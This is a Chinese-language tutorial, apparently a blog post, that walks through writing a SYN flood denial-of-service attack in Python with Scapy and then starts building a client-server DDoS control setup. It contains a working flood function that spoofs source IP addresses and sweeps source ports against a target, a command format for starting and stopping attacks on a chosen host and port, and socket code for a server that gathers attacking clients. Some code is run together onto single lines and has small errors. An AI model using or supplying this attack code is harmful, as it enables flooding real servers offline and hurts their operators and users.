一、用Python的Scapy--Scapy3k實現泛洪攻擊
基礎知識介紹:
SYN介紹
SYN 泛洪攻擊
Scapy3k官方文檔
先安裝scapy:sudo pip3 install scapy-python3
用Scapy構造一個簡單的數據包看一下:pkt = IP(dst="192.168.0.100")
構造SYN數據包: IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")
以上構造了一個IP包和TCP包并將它們組合到一塊,這樣就有了一個完整的TCP數據包,否則是無法發送出去的。IP包中我們指定了源地址src和目的地址dst,其中src是我們偽造的地址,當然這也是DoS攻擊中保護攻擊者的一種方式。flags的值我們設定為S,說明我們要發送的是SYN數據包。非常簡短的一段指令就夠造了一個偽造了源IP地址的SYN數據包。
接下來就要發送pkt = IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")send(pkt)
代碼實現(用Python隨機生成IP地址、端口發送SYN數據包):
import randomfrom scapy.all import *def synFlood(tgt,dPort): srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199'] for sPort in range(1024,65535): index = random.randrange(4) ipLayer = IP(src=srcList[index], dst=tgt) tcpLayer = TCP(sport=sPort, dport=dPort,flags="S") packet = ipLayer / tcpLayer send(packet)
二、上面就完成了基本的腳本實現SYN泛洪攻擊,現在采用客戶端、服務器方式實現Ddos攻擊
- 由于server端需要發送命令去控制Client端發送攻擊,所以先規定命令格式
'#-H xxx.xxx.xxx.xxx -p xxxx -c <start|stop>'
(-H后面是被攻擊主機的IP地址,-p指定被攻擊的端口號,-c控制攻擊的開始與停止。) - 在server端解析命令就需要一個叫 argparse 的庫,基本用法:
導入argparse庫
import argparse
創建ArgumentParser對象
parser = argparse.ArgumentParser(description='Process some integers.')
添加參數
parser.add_argument('-p', dest='port', type=int, help='An port number!')
解析命令行參數
args = parser.parse_args()print('Port:',args.port)
上面創建了一個ArgumentParser對象,description參數是對命令行解析的一個描述信息,通常在我們使用-h命令的時候顯示。add_argument添加我們要解析的參數,這里只添加了一個-p參數,dest是通過parse_args()函數返回的對象中一個屬性的名稱。type就是解析參數的類型。help指定的字符串是為了自動生成幫助信息。argparse默認就支持-h參數,只要在添加參數的時候指定了help的值就可以生成幫助信息了。
三、socket模塊
Python中的socket提供了訪問BSDsocket的接口,可以非常方便的實現網絡中的信息交換。通常使socket的時候需要指定ip地址、端口號以及協議類型。通俗的講主動發起連接請求的稱為客戶端,監聽端口響應連接的我們稱為服務器。
- 客戶端
#導入socket庫
import socket
#創建socket:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#建立連接
s.connect(('192.168.0,100', 7786))
- 服務器端
#導入socket庫 import socketcliList = []
#創建socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#綁定地址和端口號 s.bind(('0.0.0.0', 7786)):
#開始監聽 s.listen(10) while True:
# 接受一個新的連接: sock, addr = s.accept()
#將sock添加到列表中 cliList.append(sock)
在創建玩socket之后,要綁定一個地址和端口,這里的0.0.0.0表示綁定到所有的網絡地址,端口號只要不是已經使用的端口號就可以了。之后開始監聽端口,并在參數中指定最大連接數為10。最后循環等待新的連接,并將已連接的sock對象添加到了一個列表中。注意這里accept()默認是阻塞的,還可以通過settimeout()設定等待時間或者setblocking()設置為非阻塞模式,更多的相關細節可以查看Python官方文檔。